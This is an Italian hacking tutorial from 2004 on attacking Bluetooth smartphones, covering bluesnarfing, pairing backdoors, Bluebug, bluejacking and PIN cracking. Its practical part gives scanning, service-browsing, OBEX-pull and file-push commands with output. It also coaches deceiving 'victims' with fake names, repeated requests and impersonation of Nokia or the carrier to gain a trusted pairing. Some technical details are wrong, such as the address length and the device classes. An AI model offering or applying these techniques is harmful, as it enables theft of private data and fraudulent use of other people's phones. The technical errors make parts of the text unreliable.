Autore: Evil Titolo: Bluetooth smartphone hacking for fun and profit Versione: 1.0 Data: 14/10/2004 Http: www.eviltime.com Email: webmaster@eviltime.com ---Sommario------------------------------------------------------------------------- 1. Introduzione 1.1 Installazione su linux 2. Il grande dente blu 2.1 I pericoli 2.2 Il Protocollo 2.3 Piconet 2.4 Pacchetti bluetooth 3. Scovare dispositivi bluetooth 3.1 Bluetooth visibili 3.2 Bluetooth 'nascosti' 4. Tecniche di attacco 4.1 Blue snarfing 4.2 Phone backdoor 4.3 Bluebug 4.4 Bluejacking 4.5 PIN Cracking 5. Hacking 5.1 Hacking dal portatile (o pc) 6. Sicurezza in campo 7. Conclusioni ---1. Introduzione------------------------------------------------------------------ Premetto che questo tutorial è scritto da me 'Evil', in base a informazioni reperite per la rete, tra le fonti certe di siti che spiegavano solo in parte teorica l'argomento che ora io tratterò anche in parte pratica, avendolo testato su nokia 6600.. Come tutti ben sappiamo i cellulari di ultima generazione ultimamente hanno tutti una tecnologia dal nome un pò ridicolo 'dente blu', in realtà questo nome ha un suo perchè che riconduce al passato, ma saltiamo direttamente a cose ben piu importanti. Ultimamente si parla molto di Bluetooth hacking, snarfing e altro ancora purtroppo la grande superficialità con cui vengono affrontati questi tipi di problemi in italia, non rispecchia il grado di rischio e dei danni morali e finanziari che queste vulnerabilità possono apportare all'utilizzatore del cellulare 'buggato'. Iniziamo col capire meglio la tecnologia in questione.. ---1.1 Installazione su linux------------------------------------------------------- I programmi da installare per il supporto bluetooth sono i seguenti: Tutti i pacchetti BlueZ, vanno installati per implementare il supporto del protocollo usato dal bluetooth, quindi downloaddate dal sito www.eviltime.com nella sezione 'Bluetooth' tutti i pacchetti Bluez-* disponibili e installateli con ./configure make && make install fatto ciò, aggiungete agli rc script lo start dei daemons all'avvio 'rc.M' # Bluetooth modprobe bluez modprobe l2cap modprobe sco modprobe rfcomm modprobe bnep /usr/sbin/hcid /usr/sbin/sdpd dund --listen --channel 1 call dun fatto questo installate il pacchetto OpenOBEX che trovate sempre sul mio sito nella stessa sezione e installatelo, quindi downloaddate e installate KDE Bluetooth che è un utility grafica per linux, che gestisce connessioni bluetooth di vario tipo.. Ora date un 'reboot' e controllate se tutto funziona, ma dovrebbe essere tutto ok se il vostro kernel è abbastanza recente.. Altri tool come ussp-push, saranno trattati nei capitoli seguenti a questo, e sono sempre disponibili nello stesso sito. ---2. Il grande dente blu----------------------------------------------------------- Ok.. partendo con la premessa che tutti voi lettori quando dico 'bluetooth' sapete a grandi linee di cosa sto parlando, tenterò di trattare l'argomento in modo piu approfondito, ovvero cercando di scoprire insieme come lavora questa nuova tecnologia. Il Bluetooth utilizza per la comunicazione onde radio a basso consumo, che lavorano tra i 2,4 GHz e i 2,5 GHz in banda ISM, la stessa banda che usano le wireless LAN, e usano FHSS per non interferire con altre apparecchiature, la specifica FHSS usa un metodo molto interessante, per svolgere il suo compito infatti divide la banda spettrale in tanti canali e riesce ad arrivare ad un cambio di frequenza pari a piu di 1500 volte al secondo, saltando su 79 frequenze diverse, "hopping". I dati possono essere trasmessi su canali sincroni (SCO) e asincroni (ACL) con l'unica differenza che i primi sono tipicamente utilizzati per il traffico vocale point-to-point a commutazione di circuito e ACL invece per trasmettere dati di qualunque altro tipo (point-multipoint a commutazione di pacchetto). Esistono tre classi generali con le quali possiamo distinguere un dispositivo da un altro, e si contraddistinguono inizialmente per il range (in metri) che riescono a coprire, riconosciamo quindi i: Dispositivi di Classe 1: Hanno una potenza di 100mW e un uscita massima di 20dBm e possono coprire fino a 100 metri di distanza Dispositivi di Classe 2: Hanno una potenza di 2,5mW e un uscita massima di 4dBm e possono coprire fino a 10 metri di distanza Dispositivi di Classe 2: Hanno una potenza di 1mW e un uscita massima di 0dBm e possono coprire fino a 10 metri di distanza per il resto in tema di velocità di trasferimento, tutte e 3 le classi supportano fino ad un massimo di 721Kbit/s I Dispositivi piu conosciuti che attualmente usano tecnologie Bluetooth sono: .Cellulari .Smartphones .Palmari .PC .Computer Portatili .Periferiche per computer .Accessori per cellulari E molto altro ancora.. Il protocollo Bluetooth, oltre che l'avere implementati dentro se stesso altri esempi di protocollo quali il L2CAP ecc, possiede tre livelli di sicurezza in autenticazione anche se comunque gli header del protocollo Bluetooth non sono criptati e questo può essere solo che un elemento di insicurezza, visto gli svariati tipi di attacchi conosciuti al link-layer. ---2.1 I Pericoli------------------------------------------------------------------- Ne avevo già accennato nell'introduzione, che purtroppo qui in italia a problemi di questo tipo, non gli si dà il giusto peso.. anzi vengono affrontati con 'menefreghismo' principalmente per ignoranza. Ma forse tutti non sanno che con un attacco di tipo SNARF, l'attaccante può avere accesso praticamente completo al cellulare di una potenziale vittima, e quindi avere accesso a informazioni personali, quali la rubrica, i messaggi, i video, le foto e quindi invasione della privacy, ma non ci fermiamo qui, perchè il 'malfattore' potrebbe volendo anche arrecare danni di tipo finanziario, poichè nel caso di una connessione 'trusted' potrebbe andare su internet usando la connessione GPRS e WAP del cellulare vittima, fare telefonate, mandare messaggi, e molto altro ancora. Impensabile è il fatto che l'attacker può sottrarre il codice IMEI (International Mobile Equipment Identity) del vostro cellulare, ovvero quel codice che identifica univocamente il vostro cellulare, e che è usato illegalmente nel Phone Cloning, ovvero le già tanto discusse operazioni illegali di Clonazione.. Spero che questo piccolo angolo di informazione sui potenziali pericoli, vi abbia alertato abbastanza, come NON hanno fatto invece i "grandi" d'italia.. ---2.2 Il Protocollo---------------------------------------------------------------- Adesso, parliamo dello stack di protocollo bluetooth. Questo protocollo è organizzato via una struttura stratificata, quindi in vari layer, dove in ogni layer (o strato) interagisce con il layer adiacente offrendone pure i servizi, possiamo quindi intuire che i layer comunicheranno tra di loro via l'uso di un protocollo e quindi si avranno tante connessioni logiche quanti sono i layers utilizzati, ma vediamo quindi di schematizzare lo stack di protocollo per poi spiegarlo in parte, ovviamente togliendo le sue API ecc.. --------------------------------------------- | Applicazioni | --------------------------------------------- || || || || || || || -------- ------ ------------ || || | at.com || OBEX || TCP/IP | || || -------- ------ ------------ || || || || (PPP) || ----- ------- ----------------------- || | SDP | | TCS || RFCComm | || ----- ------- ----------------------- || || --------------------------------------------- | L2CAP | --------------------------------------------- ------- -------------- ----- | Audio | | Link Manager | | HCI | ------- -------------- ----- --------------------------------------------- |//////////////// [BASEBAND] \\\\\\\\\\\\\\\\\| --------------------------------------------- --------------------------------------------- |///////////// [Bluetooth RADIO] \\\\\\\\\\\\\| --------------------------------------------- Bene come possiamo vedere il sovrastante grafico dello stack di protocollo, è privo di spiegazioni ecc.. quindi cominciamo con il trovare un ordine logico dando spiegazione ai layer meno conosciuti.. Il baseband e il bluetooth radio, sono appunto gli strati (layers) piu bassi dello stack di protocollo bluetooth, e servono a gestire la comunicazione 'fisica' tra i dispositivi in collegamento, gestiscono quindi le onde radio, e preparano i pacchetti che verranno poi trasmessi durante la comunicazione da un dispositivo all'altro, compreso un controllo sugli errori e nel caso sia richiesta, pure la crittazione dei dati Sull'HCI non ci soffermiamo troppo, diciamo piuttosto che non è un vero e proprio layer, perchè funge da interfaccia di comandi per il link manager, che al contrario dell'hci è un vero e proprio layer, che però non passa informazioni e servizi ai layers che lo seguono ma comunica con il Link manager dell'altro dispositivo gestendo la connessione, e controllandone la sicurezza, responsabile quindi di qualsiasi tipo di operazione, comprese quelle dove si usano SCO e ACL per lo sambio dati e contiene in esso gli algoritmi di criptazione usati durante la connessione. Un layer molto importante, e di cui sicuramente vi sarete gia accorti del suo uso durante una connessione, è SDP (Service Discovery Protocol) ovvero il protocollo che si occupa di trovare i servizi offerti su un altro dispositivo bluetooth come trasmissione file, cuffie ecc.. ed è costituito da 3 componenti: 1 Service Discovery Database 2 Service Discovery Server 3 Service Discovery Client Nel database vengono registrati i servizi offerti agli altri dispositivi, il server ha il compito di passare il database a un richiedente, e il client serve per leggere il database di un altro dispositivo. Possiamo quindi dire che le cose piu importanti sullo stack di protocollo bluetooth le abbiamo spiegate in poche parole, e in modo esaudiente, ora sappiamo come funziona questa nuova tecnologia.. ---2.3 Piconet---------------------------------------------------------------------- Bene per capire di piu il funzionamento del protocollo usato nelle comunicazioni Bluetooth, dobbiamo studiare in pratica come avviene una vera e propria connessione e il miglior modo è spiegare il funzionamento di una rete bluetooth, chiamata Piconet. Piconet è il tipo di rete bluetooth piu semplice, e piu diffusa si tratta infatti di una rete locale dove non ci possono essere piu di 8 dispositivi, e dove cè un nodo chiamato "Master" che controlla tutti gli altri dispositivi, chiamati "Slave" questi dispositivi riescono a connettersi tra loro, solo perchè ognuno di questi sà l'indirizzo dell'altra, ovvero il bluetooth address che è un pò come l'IP.. ovvero identifica univocamente il vostro cellulare, nella rete bluetooth, quindi con un pò di logica si può arrivare a capire che ancora prima di incominciare una connessione bluetooth, i dispositivi devono ottenere l'uno dall'altro il BA (Bluetooth Address) e per ottenerlo si fà una inquiry, normalmente eseguita dal Master, e gli slave settati in inquiry scanning risponderanno.. dopo la fase di inquiry, parte la vera e propria connessione tra i dispositivi a questo punto, il Master praticherà un Paging e gli slave settati in Paging scanning, risponderanno alla richiesta, e la connessione andrà a buon fine, salvo imprevisti.. E quindi ora saremo pronti a comunicare sia via SCO che usando ACL di qui abbiamo visto prima una abbastanza accurata descrizione.. Potrei proseguire a lungo su questo argomento, potrei ad esempio parlare di scatternet, di alcune situazioni problematiche che si possono verificare durante una connessione in piconet.. però voglio saltare questo, perchè l'argomento che voglio trattare è il bluetooth hacking degli smartphones, e le cose che salto io in questo tutorial, sono di dominio pubblico, basta una piccola ricerca su google per trovare informazioni, su piconet, scatternet e bluetooth in generale ---2.4 Pacchetti bluetooth---------------------------------------------------------- Prima di incominciare con l'hacking vero e proprio, accenno ancora qualche cosa sulla comunicazione, e quindi parliamo giusto per quello ceh ci serve, dei pacchetti Bluetooth.. Il formato standard di un pacchetto di questo tipo è: [ Access code ][ Header ][ - - - - - - - - - Payload - - - - - - - - - ] 72 bit 54 bit da 0 a 2745 bit L'ordinamento dei pacchetti segue la regola Little Endian, e ogni pacchetto come abbiamo visto nel grafico sovrastante, è divise in tre sezioni diverse dove ognuna delle quali viene trasmessa partendo dal bit meno significativo (LSB) Access Code: Questo campo è lungo 72 bit ed identifica ogni pacchetto nel canale, e ha il compito di sincronizzare una connessione, e quindi affrontare le già viste fasi di inquiry e page, durante una connessione, i primi pacchetti sono infatti costituiti solo dall'Access code, e hanno il compito di identificarci al ricevente. I due tipi piu importanti di Access code sono IAC (Inquiry Access Code) che viene utilizzato durante la fase di inquiry e può essere di due tipi GIAC e DIAC, il primo è uno standard mentre il secondo è dedicato ad un certo tipo di dispositivi; e DAC (Device Access Code) che viene utilizzato anche lui dal mittente ma nella fase di paging e lo otteniamo dai dati ricevuti in risposta dall'inquiry, è quindidestinato soltanto al dispositivo che ha risposto all'inquiry per inizializzare la fase di page. Molto importante troviamo anche il CAC (Channel Access Code) che identifica una intera piconet, ed è contenuto in ogni scambio di informazione avvenuto dentro una piconet. Header: Campo lungo 54 bit e suddiviso in sei sottocampi: AM_ADDR per l’indirizzo di ogni slave in stato attivo. TYPE per il tipo di pacchetto. FLOW per il controllo di flusso. ARQ (Automatic Retrasmission Query). SEQN ovvero l'ordine dei pacchetti. HEC (Header-Error-Check) meccanismo di check d’errore. ancora poco da dire, basti precisare che AM_ADDR serve per identificare un dispositivo bluetooth univocamente in una PICONET, fino ad un massimo di 7 slave, (una piconet è composta da 7 + 1), mentre TYPE specifica il tipo di pacchetto usato in conversazioni ACL e SCO. Qui di seguito lascio un disegno schemattizzato della struttura di un packet header: [ AM_ADDR ][---TYPE---][FLOW][ARQ][SEQN][--------HEC--------] 3 bit 4 bit 1b 1b 1b 8 bit L'avviso del successo o meno della consegna di un pacchetto è contenuto nel bit di ARQ che mostra al mittente se i dati inviati precedentemente sono stati ricevuti correttamente o meno, e in caso di fallimento, il mittente riproverà a rimandare i dati. Payload: Questo campo ha una lunghezza variabile da 0 a 2745 bit, e contiene i dati veri e propri che il mittente manda al ricevente.. ---3. Scovare dispositivi bluetooth------------------------------------------------- Bene dopo aver parlato di cosa è il bluetooth e di come lavora in modo abbastanza esaudiente, è il momento di trattare il succo del tutorial, ovvero il bluetooth hacking negli smartphone. ---3.1 Bluetooth visibili----------------------------------------------------------- Bluetooth visibili, ovvero Discoverable bluetooth, questo è un tipo di settaggio che è possibile fare anche a livello software sul proprio smartphone, è solitamente settato di default, e rende il tuo BA (bluetooth address) pubblico, e quindi visibile ad altri dispositivi. In questo caso, il livello di sicurezza è basso o quasi inesistente, e chiunque usando il suo cellulare o portatile, può trovare e negoziare informazioni col vostro cellulare, sia che voi ne veniate a conoscenza o meno.. ---3.2 Bluetooth 'nascosto'--------------------------------------------------------- Bluetooth 'nascosto', ovvero Non-Discoverable Bluetooth, con questo settaggio è possibile non rendersi visibili alla normale ricerca di altri dispositivi, effettuata da un dispositivo sconosciuto. Purtroppo però 'nascosto' non vuol dire affatto sicurezza, perchè il bluetooth del dispositivo settato in ND, non rende pubblico il proprio BA, ma risponderebbe comunque a richieste da parte di un altro dispositivo se mai gli venissero fatte, è quindi in questa occasione che bisogna praticare uno scan cieco.. dico cieco, perchè noi non siamo a conoscenza di niente, nemmeno di una parte dell'indirizzo, a facilitare questo ci sono gia dei tool disponibili su internet come "bluesniff" e altri progetti ancora.. Se non avete capito, basta solo ragiornarci un attimo sopra.. allora il BD_ADDR è molto simile per natura ad un MAC address ed è lungo 9 bytes di cui 3 bytes indicano il vendor, a questo punto basterà elidere i primi 3 bytes che non ci servono, e fare uno scan completo degli ultimi 6, mandando ad ogni BA generato una richiesta inquiry, fino a che non ne troviamo uno che risponda alla nostra richiesta.. ---4. Tecniche di attacco----------------------------------------------------------- Eccoci alla parte indubbiamente più interessante del tutorial, saltiamo inutili disclaimer e premesse sull'argomento "responsabilità" perchè credo non ce ne sia bisogno.. Quindi cominciamo subito ad analizzare e conoscere gli attacchi piu comuni per vedere infine un accenno ai nuovi tipi di attacco, tengo a precisare che questa è ancora parte teorica, vedremo la parte pratica, nel capitolo 5 di questo tutorial ---4.1 Blue snarfing---------------------------------------------------------------- Il primo tipo di attacco di cui andremo a parlare è lo SNARF. Questo tipo di attacco consiste in una richiesta OBEX di tipo PULL, la richiesta in questione non sarà visibile da chi la riceve, e noi avremo accesso e quindi potremo sottrarre informazioni in una "limitata" area di dati, che fortunatamente o sfortunatamente, include Rubrica telefonica, Video, Foto, SMS, registro di chiamate, calendario, codice IMEI, e molto altro ancora. L'attacco è praticabile sia nel caso di un bluetooth visibile sia nel caso di un bluetooth 'nascosto' e ne sono vulnerabili molti modelli Nokia, ericsson e altri.. Si purtroppo non affligge tutti i modelli di queste case o comunque tutti gli smartphone, perchè dipende soprattutto dall'implementazione dell'OBEX nello stack di protocollo da parte delle case.. Come abbiamo gia detto l'attacco è praticabile usando una richiesta OBEX - Pull OBEX è usato per le trasmissioni di dati e sta per Object Exchange Protocol, e le sue funzionalità piu utilizzate sono Pull e Push, e lo si può fare facilmente utilizzando i tools contenuti in BlueZ nei kernel 2.4 e 2.6 (hci ecc..) questa è una normale richiesta OBEX usando il programma testuale obexapp. # obexapp -a 00:0E:xx:xx:xx:xx -C IrMC obex> get get: remote file> dir/file.wwi get: local file> /root/file.wwi Success, response: OK, Success (0x20) obex> di Success, response: OK, Success (0x20) un tool veramente valido per l'occasione è btscanner: http://www.pentest.co.uk/cgi-bin/viewcat.cgi?cat=downloads creato per cercare di prelevare le maggiori informazioni possibili da un dispositivo bluetooth vittima.. ---4.2 Phone backdoor--------------------------------------------------------------- Qui invece si parla di ottenere una connesione "trusted" sul cellulare vittima usando il meccanismo di "pairing".. Molto probabilmente la maggior parte di voi non ha capito, questo perchè non abbiamo ancora parlato di questo tipo di connessione, quindi.. Un Pairing avviene quando 2 dispositivi bluetooth accettano di comunicare assieme e quindi si entra in una Trusted Pair connection, quello che succede si divide in 5 fasi: 1. Il dispositivo A cerca altri dispositivi 'discoverable' nell'area 2. A trova un dispositivo B e inizia la connessione 3. A chiede di inserire un PIN (qualunque cosa va bene) 4. A manda il PIN a B 5. B manda il PIN ad A Bene se queste 5 fasi riescono con successo, avremo ora una connessione di tipo trusted pair, e non ci sarà nemmeno bisogno di autenticarsi, gli unici accertamenti da fare sono, il rendersi invisibili alla lista "trusted" del dispositivo vittima e assicurarsi che al momento della connessione, la vittima non abbia sotto gli occhi il cellulare. Se l'attacco è andato a buon fine ora noi abbiamo completo accesso alle risorse del cellulare, compresi servizi come WAP e GPRS.. ---4.3 Bluebug---------------------------------------------------------------------- Un attacco Bluebug, lo si è effettua sfruttando un conosciuto bug del servizio in questione, e in questo modo otteniamo una connessione Serial Port Profile che ci darà completo accesso ai comandi AT, in questo modo se ci sappiamo muovere per bene, una volta dentro potremo fare diverse azioni, tra le tante troviamo: fare chiamate, mandare o leggere sms, usare la connessione gprs, vedere i video, le foto, la rubrica e molto ancora, tutto questo con permessi di lettura e di scrittura... di solito una volta dentro la prima cosa che si desidera fare, è venire a conoscenza del numero di questa persona, bhe, basterà quindi inviare da quel cellulare un sms o una richiesta di chiamata, verso il nostro cellulare.. Finisco quindi qui, poichè su questo bug non conosco altro, e non sono mai riuscito a mettere in pratica quanto conosco. ---4.4 Bluejacking------------------------------------------------------------------ Questo tipo di attacco, non è, come su molti documenti ho potuto notare l'attacco "meno pericoloso", è vero che lo si può praticare con facilità ed è molto usato per scambiare messaggi anonimi e per fare scherzi, ma cè dietro un meccanismo che permetterebbe con facilità di abusare del servizio e ottenere un pairing con il device destinatario dell'attacco. Il bluejacking è infatti praticato richiedendo una connessione pairing, il destinatario vedrà appunto il campo NAME durante l'handshake della connessione e rispondera accettando o rifiutando, il campo NAME può essere lungo fino a 248 caratteri, ed è quindi possibile far visualizzare alla vittima un messaggio vero e proprio lungo fino a 248 caratteri al posto del nome del dispositivo.. Beh finora niente di allarmante, ma provate a pensare.. Se l'handshake avviene con successo, l'attacker otterrebbe una connessione paired, e avrebbe accesso a molte risorse offerte dalla vittima, e questo è un'altro dei tanti seri problemi del bluetooth.. ---4.5 PIN Cracking----------------------------------------------------------------- Okey questa è l'ultima tecnica di attacco che spiegherò nel tutorial, ed è a mio parere la piu interessante.. Si tratta infatti di riuscire a crackare il PIN, e non usando il solito bruteforce anche perchè tra una richiesta di PIN e un altra intercorre un arco di tempo non troppo stretto, ma si tratta infatti di crackare il PIN con una sola richiesta, il tutto sta nello sniffare i dati passati da un dispositivo all'altro durante il processo di autenticazione, e poi provare le migliaia di combinazioni tra i dati ottenuti, i dati che ci servono sono: Initial RAND XORed RAND AUTH SRES AUTH RAND Una volta ottenuti i dati possiamo dare in pasto il tutto ad un programma come libmcrypt, e a seconda della lunghezza del PIN potremo metterci dai pochi secondi, a (purtroppo) sino a decine e decine di anni.. E' proprio con questo che chiudo definitivamente la parte teorica, se avete letto il tutto con attenzione, la parte pratica vi risulterà semplice da capire e ben documentata per potere riprodurre le stesse condizioni, con i vostri strumenti. ---5 Hacking------------------------------------------------------------------------ Possiamo ora, usando le basi teoriche che avete appreso leggendo il tutorial, trattare la parte pratica.. Abbiamo già parlato di cosa possiamo ottenere con le piu svariate tecniche di bluetooth hacking, qui vedremo solo come metterne in pratica alcune.. I tool usati saranno: hcitool, sdptool e ussp-push ---5.1 Hacking da portatile--------------------------------------------------------- Ecco questa è la parte che ho testato io di persona, e quindi potrò documentarvela per intero, in prima fase si installano i tools necessari, premettendo che io ho testato il tutto con Slackware 10.0 - kernel 2.4.26, i tool che ci servono sono BlueZ (tutti i pacchetti) www.bluez.org, e kdebluetooth che potete scaricare anche lui gratuitamente su kde-bluetooth.sourceforge.net.. Fatto questo, si incomincia: Per prima cosa si cercano dei dispositivi utilizzando il comando hcitool: root@eviltime-labs:~# hcitool -i hci0 scan Scanning ... 00:0E:xx:xx:xx:xx pizza Perfetto ora sappiamo che cè un dispositivo a nostra portata con indirizzo BD_ADDR 00:0E:xx:xx:xx:xx, allora la seconda cosa da fare è chiedergli un service list usando una richiesta al database SDP: root@eviltime-labs:~# sdptool browse 00:0E:xx:xx:xx:xx Browsing 00:0E:xx:xx:xx:xx ... Service Name: Fax Service RecHandle: 0x10000 Service Class ID List: "Fax" (0x1111) "Generic Telephony" (0x1204) Protocol Descriptor List: "L2CAP" (0x0100) "RFCOMM" (0x0003) Channel: 1 Language Base Attr List: code_ISO639: 0x656e encoding: 0x6a base_offset: 0x100 Profile Descriptor List: "Fax" (0x1111) Version: 0x0100 Service Name: Dial-up Networking Service RecHandle: 0x10001 Service Class ID List: "Dialup Networking" (0x1103) "Generic Networking" (0x1201) Protocol Descriptor List: "L2CAP" (0x0100) "RFCOMM" (0x0003) Channel: 1 Language Base Attr List: code_ISO639: 0x656e encoding: 0x6a base_offset: 0x100 Profile Descriptor List: "Dialup Networking" (0x1103) Version: 0x0100 Service Name: Bluetooth Serial Port Service Description: Bluetooth Serial Port Service Provider: Symbian Ltd. Service RecHandle: 0x10002 Service Class ID List: "Serial Port" (0x1101) Protocol Descriptor List: "L2CAP" (0x0100) "RFCOMM" (0x0003) Channel: 2 Language Base Attr List: code_ISO639: 0x656e encoding: 0x6a base_offset: 0x100 Service Name: OBEX File Transfer Service RecHandle: 0x10003 Service Class ID List: "OBEX File Transfer" (0x1106) Protocol Descriptor List: "L2CAP" (0x0100) "RFCOMM" (0x0003) Channel: 10 "OBEX" (0x0008) Language Base Attr List: code_ISO639: 0x656e encoding: 0x6a base_offset: 0x100 Profile Descriptor List: "OBEX File Transfer" (0x1106) Version: 0x0100 Service Name: OBEX Object Push Service RecHandle: 0x10004 Service Class ID List: "OBEX Object Push" (0x1105) Protocol Descriptor List: "L2CAP" (0x0100) "RFCOMM" (0x0003) Channel: 9 "OBEX" (0x0008) Language Base Attr List: code_ISO639: 0x656e encoding: 0x6a base_offset: 0x100 Profile Descriptor List: "OBEX Object Push" (0x1105) Version: 0x0100 Service Name: Handsfree Audio Gateway Service RecHandle: 0x10005 Service Class ID List: "" (0x111f) "Generic Audio" (0x1203) Protocol Descriptor List: "L2CAP" (0x0100) "RFCOMM" (0x0003) Channel: 3 Language Base Attr List: code_ISO639: 0x656e encoding: 0x6a base_offset: 0x100 Profile Descriptor List: "" (0x111e) Version: 0x0101 Benissimo abbiamo ottenuto informazioni su ben 5 servizi!.. ma quello che ci interessa di più sono le parti sul OBEX File transfer e push .. Beh non resta che installare rfcomm e OpenOBEX, e incominciare ad affrontare un tipo di attacco Snarf improvvisato per funzionare su Nokia 6600, purtroppo non sono riuscito a fare altro su questo cellulare, ma in caso di novità vi sapro aggiornare.. Bene apriamo una connessione usando il device /dev/ttyU0 verso il nostr cellulare quindi: # hcitool 0 00:0E:xx:xx:xx:xx 9 Connected /dev/ttyU0 to 00:0E:6D:67:79:69 on channel 9 Bene in questo caso io al messaggio sul mio smartphone "Ricevere messaggio via bluetooth da: NOMEHOST ?" ho risposto si.. la cosa piu 'buffa' è che il cellulare riconosce la connessione al canale del servizio OBEX "Object Push" come se fosse un messaggio qualunque.. bhe questo è un 'pro' per noi, visto che il mittente vedendosi arrivare messaggi tipo "Ricevere messaggio via bluetooth da: FRANCESCA?" non si allarmerà mai.. sempre bene è mettere nomi del sesso opposto alla persona che si ha come 'vittima', provatevi ad impersonificarvi in un caso simile, e avrete la risposta e il perchè di questa scelta.. nel caso non accettasse, basta continuare a fare richieste fino a quando la 'vittima' annoiata e turbata dalle richieste, proverà a farle smettere, accettando la nostra richiesta. Dopo che la 'vittima' ha accettato, non visualizzerà niente sul proprio cellulare, ma noi invece potremo usare la funzione obex_push() contenuta nel programma OpenOBEX per 'pushare' ovvero inviare file dal nostro computer al telefonino, senza bisogno che il destinatario accetti.. in poche parole anche nel caso il nostro file coincida con il nome di un altro file sul telefonino destinatario, quel file verrà sostituito senza alcuna richiesta e senza la possibilità di annullare l'operazione.. Beh non resta che vedere appunto come pushare il file, quindi usiamo ussp-push (capitolo 1) # ./ussp-push /dev/ttyU0 /home/evil/ksnap001.jpg nuovo.jpg Sending file: nuovo.jpg, path: /home/evil/ksnap001.jpg, size: 89809 [...] Perfetto ora il mio cellulare ha visualizzato 1 messaggio nuovo, ed ecco arrivata l'immagine JPG.. Purtroppo come ho già detto prima, non sono riuscito a testare altre vulnerabilità, perchè sembrerebbe non vulnerabile ai metodi fino ad ora conosciuti, ma vi aggiornerò.. Un altra bella idea è quella comunque di provare a chiedere ripetutamente connessioni 'trusted pair' al cellulare della vittima, e se è (nell'almeno 60% dei casi), un utente medio, ovvero ignorante in materia smartphone e bluetooth, accetterà.. magari non la prima volta, magari impostate un nome bluetooth che sia, invitante, magari proporre una connessione trusted pair, da NOKIA o la marca del cellulare, oppure dal gestore telefonico.. le possibilità sono molte, sta a voi la scelta, e se siete fortunati, avrete a disposizione la maggior parte delle funzionalità del dispositivo vittima.. ---6 Sicurezza in campo------------------------------------------------------------- Purtroppo non esistono metodi che assicurerebbero al 100% la sicurezza di un dispositivo bluetooth, il metodo piu recente scoperto sarebbe una carta da applicare alle pareti, che disturberebbe i segnali provenienti dall'esterno e quindi proteggerebbe la rete WLAN o PICONET da potenziali attaccanti, anche qui però cè un contro, ovvero le finestre, e il fatto che comunque questo "muro" di carta riuscirebbe a disturbare solo un certo range di frequenze.. Anche qui, quindi possiamo capire che l'unico modo per proteggere il nostro cellulare o dispositivo personale, è quello di attivare il bluetooth solo nel momento in cui sappiamo di dover avviare una connessione, e di pensare un pò prima di accettare una connessione (o un messaggio) da un dispositivo sconosciuto. ---7 Conclusioni-------------------------------------------------------------------- Siamo quindi arrivati alla fine del tutorial, tutto quello che avevo da dire in tema l'ho scritto su questo file di testo, piu avanti molto probabilmente aggiornerò il testo affrontando altri tipi di problemi e tecniche, e approfondendo quello di cui gia si è parlato in questa prima release.. Visitate frequentemente il mio sito www.eviltime.com per tenervi aggiornati, nel caso di una nuova release o qualsiasi altra cosa troverete i link al download proprio li, oppure su www.mojodo.it References: Bluetooth: www.bluetooth.com War Nibbling Bluetooth Security @stake